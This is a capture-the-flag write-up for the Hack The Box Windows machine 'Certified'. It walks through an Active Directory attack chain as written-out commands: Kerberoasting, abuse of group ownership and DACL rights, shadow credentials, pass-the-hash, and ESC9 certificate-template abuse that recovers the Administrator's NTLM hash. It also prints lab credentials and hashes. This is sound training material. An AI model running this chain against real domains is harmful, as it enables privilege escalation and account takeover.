# Certified

Hack-The-Box 16 / 72
10 min read
HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking ⓘ Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. Kerberoasting ⓘ Requesting service tickets for accounts with an SPN, then cracking them offline to recover the service account's password. BloodHound ⓘ A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP ⓘ Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. AS-REP Roasting ⓘ Requesting authentication data for accounts without Kerberos pre-auth, then cracking it offline to recover the password. Git
Table of Contents
⚔
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: Certified
  • OS Type: Windows
  • Difficulty: Medium

Port Scanning - Service & Version Enumeration

Terminal window
# Nmap 7.95 scan initiated Wed May  7 19:03:45 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.41
Nmap scan report for 10.10.11.41
Host is up, received echo-reply ttl 127 (0.28s latency).
Scanned at 2025-05-07 19:03:46 IST for 776s
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-07 20:44:41Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Issuer: commonName=certified-DC01-CA/domainComponent=certified
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-13T15:49:36
| Not valid after:  2025-05-13T15:49:36
| MD5:   4e1f:97f0:7c0a:d0ec:52e1:5f63:ec55:f3bc
| SHA-1: 28e2:4c68:aa00:dd8b:ee91:564b:33fe:a345:116b:3828
| -----BEGIN CERTIFICATE-----
| MIIGPzCCBSegAwIBAgITeQAAAAIvfMdjJV9GkQAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBMMRMwEQYKCZImiZPyLGQBGRYDaHRiMRkwFwYKCZImiZPyLGQBGRYJY2VydGlm
| aWVkMRowGAYDVQQDExFjZXJ0aWZpZWQtREMwMS1DQTAeFw0yNDA1MTMxNTQ5MzZa
| Fw0yNTA1MTMxNTQ5MzZaMB0xGzAZBgNVBAMTEkRDMDEuY2VydGlmaWVkLmh0YjCC
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMx/FhgH36heOUjpNhO4JWYX
| E0zDwpKfx3dfqvEqTvIfRLpptNUCfkaeZijP+YAlUMNSNUvgFLZ7yuZf3ubIcEv8
| wXMlABwpVxe3NtOzLXQhNypU/W53DgYZoD9ueC3ob6f4jI6dN6jKt4gV/pBmoX3i
| Ky0XmrIaMkO8W20gzJtf8RaZYChHzhilGs3TwkKmBkZFt4+KeTkCbBE4T8zka8l6
| 52hfOhdz5YOU82eviJuTQqaprVtognmW6EV2C7laO+UvQy2VwZc9L+6A42t5Pz2E
| e+28xaBIGAgNn5TMcS+oJC0qhnAFNazT2X4p0aq3WBlF5BMwadrEwk59t4VcRc0C
| AwEAAaOCA0cwggNDMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4A
| dAByAG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYD
| VR0PAQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4G
| CCqGSIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFl
| AwQBAjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYE
| FPTg6Uo2pYQv7jJTC9x7Reo9CbVVMB8GA1UdIwQYMBaAFOz7EkAVob3H0S47Lk1L
| csBi3yv1MIHOBgNVHR8EgcYwgcMwgcCggb2ggbqGgbdsZGFwOi8vL0NOPWNlcnRp
| ZmllZC1EQzAxLUNBLENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNl
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2VydGlmaWVk
| LERDPWh0Yj9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xh
| c3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgcUGCCsGAQUFBwEBBIG4MIG1MIGyBggr
| BgEFBQcwAoaBpWxkYXA6Ly8vQ049Y2VydGlmaWVkLURDMDEtQ0EsQ049QUlBLENO
| PVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3Vy
| YXRpb24sREM9Y2VydGlmaWVkLERDPWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
| ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTA+BgNVHREENzA1oB8GCSsG
| AQQBgjcZAaASBBBTwp5mQoxFT6ExYzeAVBiughJEQzAxLmNlcnRpZmllZC5odGIw
| TgYJKwYBBAGCNxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTcyOTc0
| Njc3OC0yNjc1OTc4MDkxLTM4MjAzODgyNDQtMTAwMDANBgkqhkiG9w0BAQsFAAOC
| AQEAk4PE1BZ/qAgrUyzYM5plxxgUpGbICaWEkDkyiu7uCaTOehQ4rITZE1xefpHW
| VVEULz9UqlozCQgaKy3BRQsUjMZgkcQt0D+5Ygnri/+M3adcYWpJHsk+gby/JShv
| ztRj1wS/X6SEErDaf9Nw0jgZi3QCaNqH2agxwj+oA+mCMd5mBq7JtWcCI3wQ3xuE
| aOEd9Q86T/J4ZdGC+8iQKt3GrvHzTEDijK9zWxm8nuftG/AyBU0N23xJCLgWZkQU
| fgVn+2b7pjWIPAWdZv8WqcJV1tinG0oM83wgbg3Nv3ZeoEwDCs5MgYprXNImNGtI
| zQY41iYatWCKZW54Ylno2wj9tg==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-05-07T20:46:17+00:00; +6h59m35s from scanner time.
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Issuer: commonName=certified-DC01-CA/domainComponent=certified
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-13T15:49:36
| Not valid after:  2025-05-13T15:49:36
| MD5:   4e1f:97f0:7c0a:d0ec:52e1:5f63:ec55:f3bc
| SHA-1: 28e2:4c68:aa00:dd8b:ee91:564b:33fe:a345:116b:3828
| -----BEGIN CERTIFICATE-----
| MIIGPzCCBSegAwIBAgITeQAAAAIvfMdjJV9GkQAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBMMRMwEQYKCZImiZPyLGQBGRYDaHRiMRkwFwYKCZImiZPyLGQBGRYJY2VydGlm
| aWVkMRowGAYDVQQDExFjZXJ0aWZpZWQtREMwMS1DQTAeFw0yNDA1MTMxNTQ5MzZa
| Fw0yNTA1MTMxNTQ5MzZaMB0xGzAZBgNVBAMTEkRDMDEuY2VydGlmaWVkLmh0YjCC
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMx/FhgH36heOUjpNhO4JWYX
| E0zDwpKfx3dfqvEqTvIfRLpptNUCfkaeZijP+YAlUMNSNUvgFLZ7yuZf3ubIcEv8
| wXMlABwpVxe3NtOzLXQhNypU/W53DgYZoD9ueC3ob6f4jI6dN6jKt4gV/pBmoX3i
| Ky0XmrIaMkO8W20gzJtf8RaZYChHzhilGs3TwkKmBkZFt4+KeTkCbBE4T8zka8l6
| 52hfOhdz5YOU82eviJuTQqaprVtognmW6EV2C7laO+UvQy2VwZc9L+6A42t5Pz2E
| e+28xaBIGAgNn5TMcS+oJC0qhnAFNazT2X4p0aq3WBlF5BMwadrEwk59t4VcRc0C
| AwEAAaOCA0cwggNDMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4A
| dAByAG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYD
| VR0PAQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4G
| CCqGSIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFl
| AwQBAjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYE
| FPTg6Uo2pYQv7jJTC9x7Reo9CbVVMB8GA1UdIwQYMBaAFOz7EkAVob3H0S47Lk1L
| csBi3yv1MIHOBgNVHR8EgcYwgcMwgcCggb2ggbqGgbdsZGFwOi8vL0NOPWNlcnRp
| ZmllZC1EQzAxLUNBLENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNl
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2VydGlmaWVk
| LERDPWh0Yj9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xh
| c3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgcUGCCsGAQUFBwEBBIG4MIG1MIGyBggr
| BgEFBQcwAoaBpWxkYXA6Ly8vQ049Y2VydGlmaWVkLURDMDEtQ0EsQ049QUlBLENO
| PVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3Vy
| YXRpb24sREM9Y2VydGlmaWVkLERDPWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
| ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTA+BgNVHREENzA1oB8GCSsG
| AQQBgjcZAaASBBBTwp5mQoxFT6ExYzeAVBiughJEQzAxLmNlcnRpZmllZC5odGIw
| TgYJKwYBBAGCNxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTcyOTc0
| Njc3OC0yNjc1OTc4MDkxLTM4MjAzODgyNDQtMTAwMDANBgkqhkiG9w0BAQsFAAOC
| AQEAk4PE1BZ/qAgrUyzYM5plxxgUpGbICaWEkDkyiu7uCaTOehQ4rITZE1xefpHW
| VVEULz9UqlozCQgaKy3BRQsUjMZgkcQt0D+5Ygnri/+M3adcYWpJHsk+gby/JShv
| ztRj1wS/X6SEErDaf9Nw0jgZi3QCaNqH2agxwj+oA+mCMd5mBq7JtWcCI3wQ3xuE
| aOEd9Q86T/J4ZdGC+8iQKt3GrvHzTEDijK9zWxm8nuftG/AyBU0N23xJCLgWZkQU
| fgVn+2b7pjWIPAWdZv8WqcJV1tinG0oM83wgbg3Nv3ZeoEwDCs5MgYprXNImNGtI
| zQY41iYatWCKZW54Ylno2wj9tg==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-05-07T20:46:15+00:00; +6h59m36s from scanner time.
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-07T20:46:17+00:00; +6h59m35s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Issuer: commonName=certified-DC01-CA/domainComponent=certified
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-13T15:49:36
| Not valid after:  2025-05-13T15:49:36
| MD5:   4e1f:97f0:7c0a:d0ec:52e1:5f63:ec55:f3bc
| SHA-1: 28e2:4c68:aa00:dd8b:ee91:564b:33fe:a345:116b:3828
| -----BEGIN CERTIFICATE-----
| MIIGPzCCBSegAwIBAgITeQAAAAIvfMdjJV9GkQAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBMMRMwEQYKCZImiZPyLGQBGRYDaHRiMRkwFwYKCZImiZPyLGQBGRYJY2VydGlm
| aWVkMRowGAYDVQQDExFjZXJ0aWZpZWQtREMwMS1DQTAeFw0yNDA1MTMxNTQ5MzZa
| Fw0yNTA1MTMxNTQ5MzZaMB0xGzAZBgNVBAMTEkRDMDEuY2VydGlmaWVkLmh0YjCC
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMx/FhgH36heOUjpNhO4JWYX
| E0zDwpKfx3dfqvEqTvIfRLpptNUCfkaeZijP+YAlUMNSNUvgFLZ7yuZf3ubIcEv8
| wXMlABwpVxe3NtOzLXQhNypU/W53DgYZoD9ueC3ob6f4jI6dN6jKt4gV/pBmoX3i
| Ky0XmrIaMkO8W20gzJtf8RaZYChHzhilGs3TwkKmBkZFt4+KeTkCbBE4T8zka8l6
| 52hfOhdz5YOU82eviJuTQqaprVtognmW6EV2C7laO+UvQy2VwZc9L+6A42t5Pz2E
| e+28xaBIGAgNn5TMcS+oJC0qhnAFNazT2X4p0aq3WBlF5BMwadrEwk59t4VcRc0C
| AwEAAaOCA0cwggNDMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4A
| dAByAG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYD
| VR0PAQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4G
| CCqGSIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFl
| AwQBAjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYE
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| AQQBgjcZAaASBBBTwp5mQoxFT6ExYzeAVBiughJEQzAxLmNlcnRpZmllZC5odGIw
| TgYJKwYBBAGCNxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTcyOTc0
| Njc3OC0yNjc1OTc4MDkxLTM4MjAzODgyNDQtMTAwMDANBgkqhkiG9w0BAQsFAAOC
| AQEAk4PE1BZ/qAgrUyzYM5plxxgUpGbICaWEkDkyiu7uCaTOehQ4rITZE1xefpHW
| VVEULz9UqlozCQgaKy3BRQsUjMZgkcQt0D+5Ygnri/+M3adcYWpJHsk+gby/JShv
| ztRj1wS/X6SEErDaf9Nw0jgZi3QCaNqH2agxwj+oA+mCMd5mBq7JtWcCI3wQ3xuE
| aOEd9Q86T/J4ZdGC+8iQKt3GrvHzTEDijK9zWxm8nuftG/AyBU0N23xJCLgWZkQU
| fgVn+2b7pjWIPAWdZv8WqcJV1tinG0oM83wgbg3Nv3ZeoEwDCs5MgYprXNImNGtI
| zQY41iYatWCKZW54Ylno2wj9tg==
|_-----END CERTIFICATE-----
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-07T20:46:15+00:00; +6h59m36s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Issuer: commonName=certified-DC01-CA/domainComponent=certified
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-13T15:49:36
| Not valid after:  2025-05-13T15:49:36
| MD5:   4e1f:97f0:7c0a:d0ec:52e1:5f63:ec55:f3bc
| SHA-1: 28e2:4c68:aa00:dd8b:ee91:564b:33fe:a345:116b:3828
| -----BEGIN CERTIFICATE-----
| MIIGPzCCBSegAwIBAgITeQAAAAIvfMdjJV9GkQAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBMMRMwEQYKCZImiZPyLGQBGRYDaHRiMRkwFwYKCZImiZPyLGQBGRYJY2VydGlm
| aWVkMRowGAYDVQQDExFjZXJ0aWZpZWQtREMwMS1DQTAeFw0yNDA1MTMxNTQ5MzZa
| Fw0yNTA1MTMxNTQ5MzZaMB0xGzAZBgNVBAMTEkRDMDEuY2VydGlmaWVkLmh0YjCC
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMx/FhgH36heOUjpNhO4JWYX
| E0zDwpKfx3dfqvEqTvIfRLpptNUCfkaeZijP+YAlUMNSNUvgFLZ7yuZf3ubIcEv8
| wXMlABwpVxe3NtOzLXQhNypU/W53DgYZoD9ueC3ob6f4jI6dN6jKt4gV/pBmoX3i
| Ky0XmrIaMkO8W20gzJtf8RaZYChHzhilGs3TwkKmBkZFt4+KeTkCbBE4T8zka8l6
| 52hfOhdz5YOU82eviJuTQqaprVtognmW6EV2C7laO+UvQy2VwZc9L+6A42t5Pz2E
| e+28xaBIGAgNn5TMcS+oJC0qhnAFNazT2X4p0aq3WBlF5BMwadrEwk59t4VcRc0C
| AwEAAaOCA0cwggNDMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4A
| dAByAG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYD
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| CCqGSIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFl
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| FPTg6Uo2pYQv7jJTC9x7Reo9CbVVMB8GA1UdIwQYMBaAFOz7EkAVob3H0S47Lk1L
| csBi3yv1MIHOBgNVHR8EgcYwgcMwgcCggb2ggbqGgbdsZGFwOi8vL0NOPWNlcnRp
| ZmllZC1EQzAxLUNBLENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNl
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| c3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgcUGCCsGAQUFBwEBBIG4MIG1MIGyBggr
| BgEFBQcwAoaBpWxkYXA6Ly8vQ049Y2VydGlmaWVkLURDMDEtQ0EsQ049QUlBLENO
| PVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3Vy
| YXRpb24sREM9Y2VydGlmaWVkLERDPWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
| ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTA+BgNVHREENzA1oB8GCSsG
| AQQBgjcZAaASBBBTwp5mQoxFT6ExYzeAVBiughJEQzAxLmNlcnRpZmllZC5odGIw
| TgYJKwYBBAGCNxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTcyOTc0
| Njc3OC0yNjc1OTc4MDkxLTM4MjAzODgyNDQtMTAwMDANBgkqhkiG9w0BAQsFAAOC
| AQEAk4PE1BZ/qAgrUyzYM5plxxgUpGbICaWEkDkyiu7uCaTOehQ4rITZE1xefpHW
| VVEULz9UqlozCQgaKy3BRQsUjMZgkcQt0D+5Ygnri/+M3adcYWpJHsk+gby/JShv
| ztRj1wS/X6SEErDaf9Nw0jgZi3QCaNqH2agxwj+oA+mCMd5mBq7JtWcCI3wQ3xuE
| aOEd9Q86T/J4ZdGC+8iQKt3GrvHzTEDijK9zWxm8nuftG/AyBU0N23xJCLgWZkQU
| fgVn+2b7pjWIPAWdZv8WqcJV1tinG0oM83wgbg3Nv3ZeoEwDCs5MgYprXNImNGtI
| zQY41iYatWCKZW54Ylno2wj9tg==
|_-----END CERTIFICATE-----
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49681/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49716/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49739/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
61977/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows


Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 50458/tcp): CLEAN (Timeout)
|   Check 2 (port 12513/tcp): CLEAN (Timeout)
|   Check 3 (port 12583/udp): CLEAN (Timeout)
|   Check 4 (port 59388/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m35s, deviation: 0s, median: 6h59m34s
| smb2-time:
|   date: 2025-05-07T20:45:36
|_  start_date: N/A


Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May  7 19:16:42 2025 -- 1 IP address (1 host up) scanned in 777.05 seconds

Enumeration

This machine provides us the initial creds

  • Username: judith.mader Password: judith09

before starting enumeration add DC01.certified.htb and certified.htb in /etc/hosts file

image.png

Port 139,445/SMB

i’ll start my enumeration from SMB service as we got the initial credentials i first use the netexec to enumerate shares and check the access of shares

Terminal window
netexec smb 10.10.11.41 -u judith.mader -p judith09 --shares
image.png

let’s check if we can find anything interesting in NETLOGON share

Terminal window
smbclient //10.10.11.41/NETLOGON -U "certified.htb/judith.mader%judith09"
image.png

let’s enumerate users using netexec

Terminal window
netexec smb 10.10.11.41 -u judith.mader -p judith09 --users
image.png

let’s create user’s list and check if any user is vulnerable to AS-REP Roasting

Terminal window
impacket-GetNPUsers certified.htb/ -dc-ip 10.10.11.41 -no-pass -usersfile users.txt
image.png

as we have valid credentials we can check for the Kerberoastable users

Terminal window
impacket-GetUserSPNs certified.htb/judith.mader:judith09 -dc-ip 10.10.11.41 -request
image.png

but we got the “Clock Skew too great” error this is because of Time zone mismatch in KDC server and our kali machine

we can fix this issue with

Terminal window
sudo ntpdate 10.10.11.41
image.png

again running command we got the TGS for the management_svc user

image.png

let’s try to crack hash using hashcat

Terminal window
hashcat -m 13100 management_svc.hash /usr/share/wordlists/rockyou.txt

but no success, hashcat not able to crack the hash, now to get better picture of Domain i’ll run bloodhound

use bloodhound-python to gather information from domain

Terminal window
bloodhound-python -c all -d certified.htb -u judith.mader -p 'judith09' -ns 10.10.11.41
image.png

start neo4j database by sudo neo4j console and then start bloodhound using bloodhound

load collected data into bloodhound

if we check the permissions we found that judith.mader has writeOwner permissions on Management group

image.png

and management_svc is the member of management group

image.png

and group has the generic write permissions over management_svc user

image.png

management_svc user has GenericAll rights on CA_operator user

image.png

CA operator look like the Certificate authority operators first let’s change the owner of management group

Terminal window
impacket-owneredit -action write -new-owner judith.mader -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' certified.htb/judith.mader:judith09
image.png

you can get the targetDN from the bloodhound by clicking on management group node and copy the distinguishedName

image.png

now let’s give us the full control over the group so we can change the password of user management_svc

Terminal window
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' certified.htb/judith.mader:judith09
image.png

now we’ll add our user into management group

Terminal window
net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S 10.10.11.41

and list the group member to see if the user is correctly added

Terminal window
net rpc group members "management" -U "certified.htb"/"judith.mader"%"judith09" -S 10.10.11.41
image.png

nice now as we know that members of management group has the GenericWrite permissions on management_svc user

we can perform shadow credential attack to get NTLM hash of the user

Shadow Credentials attack

The Shadow Credentials attack takes advantage of improper permissions on the msDS-KeyCredentialLink attribute, allowing attackers to inject their own public key into the attribute of a target user or computer account. Once this is done, they can impersonate the target account using PKINIT.

so first we need to check if we can actually modify the msDS-KeyCredentialLink

the msDS-KeyCredentialLink attribute of a user or computer target can be manipulated with the pyWhisker tool. Clone the repository and install:

Terminal window
git clone https://github.com/ShutdownRepo/pywhisker.git
python3 setup.py install

now run pywhisker to list the KeyCredential IDs and their creation times

Terminal window
pywhisker -d certified.htb -u judith.mader -p judith09 -t management_svc -a list
image.png

At this point of time, it shows that attribute msDS-KeyCredentialLink is empty.

The exploitation phase begins with populating the msDS-KeyCredentialLink attribute.

PyWhishker add functionality, will generates a public-private key pair and adds a new key credential to the target object

Terminal window
pywhisker -d certified.htb -u judith.mader -p judith09 -t management_svc -a add
image.png

now to get TGT using pfx file we’ve generated

Terminal window
python3 gettgtpkinit.py -cert-pfx KbHEDXbt.pfx -pfx-pass a6OJmtxCmxFthczArdRn certified.htb/management_svc tests.ccache
image.png

to resolve the error create a python virtual env

Terminal window
source venv/bin/activate

and then install the minikerberos dependency using pip install minikerberos

now run the gettgtpkinit.py again

image.png

note this key we need in later command to get NTLM hash

let’s get the NTLM hash, first export the kerberos ticket

Terminal window
export KRB5CCNAME=/home/kali/offsec/tools/pywhisker/pywhisker/tests.ccache

now run below command to get NTLM hash using above key we’ve got from above command

Terminal window
python3 getnthash.py -key d02a6ab81ca9a359103db5d146a4030081eb2d861c88b6a5d58d97a4653f7c6f certified.htb/management_svc
image.png

Bingo! the hash is ours now, let’s check if we can login using winrm

Terminal window
netexec winrm 10.10.11.41 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
image.png

You said Pwn3d! i heard Access Granted!

Terminal window
evil-winrm -i 10.10.11.41 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
image.png

Now as we know that we have the GenericAll permission on ca_operator user we’ll try to change the user’s password but first we need to check group membership of ca_operator user

Terminal window
net user ca_operator
image.png

nothing interesting but CA looks like Certificate authority let’s change user’s password and check ADCS using netexec

Terminal window
net user ca_operator "Password@123" /domain
image.png

let’s Enumerate ADCS using netexec

Terminal window
netexec ldap 10.10.11.41 -u ca_operator -p "Password@123" -M adcs
image.png

let’s use the certipy-ad tool to get certificate template information from Certificate Authority server

Terminal window
certipy-ad find -vulnerable -u ca_operator@certified.htb -p "Password@123" -dc-ip 10.10.11.41 -debug
image.png

let’s read the 20250508042334_Certipy.txt

image.png

it indicates the there is ESC9 Vulnerability in Certificate template

ESC9 (No Security Extension)

ESC9 is one of a series of Enterprise Security Configuration (ESC) issues identified by security researchers, particularly by Will Schroeder and Lee Christensen in their whitepaper “Certified Pre-Owned: Abusing Active Directory Certificate Services” (2021).

“No Security Extension” means that the certificate template does not include certain critical extensions that restrict the usage of the issued certificates—specifically, the Application Policies or Enhanced Key Usage (EKU) extensions.

to get more info → https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#no-security-extension-esc9

Attack Summary

One thing to note is the presence of the flag SubjectAltRequireUpn, this means the enrollee’s userPrincipalName attribute will be included in the SAN extension and used to map the certificate to the AD account, so we’ll need to modify our writable user’s UPN to make sure the certificate maps it to our impersonation target’s UPN.

To start the UPN mapping attack we need the writable account’s credentials, shadow credentials is perhaps the easiest method to obtain them, and certipy supports it with the shadow command:

Terminal window
certipy-ad shadow auto -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator -dc-ip 10.10.11.41
image.png

The UPN of the writable user is changed into our target’s sAMAccountName with the account update command:

certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator
image.png

now we’ll request the certificate

Terminal window
ertipy-ad req -u ca_operator@certified.htb -hashes a29f7623fd11550def0192de9246f46b -dc-ip 10.10.11.41 -ca certified-DC01-CA -template CertifiedAuthentication
image.png

now change the user’s UPN back to it’s original UPN

Terminal window
certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb
image.png

nice now everything is fine we have administrator’s certificate so let’s use it to get the NTLM hash of the administrator

Terminal window
certipy-ad auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx
image.png

let’s login using evil-winrm with administrator’s NTLM hash

Terminal window
evil-winrm -i 10.10.11.41 -u administrator -H 0d5b49608bbce1751f708748f67e2d34
image.png
Next: **Chatterbox**
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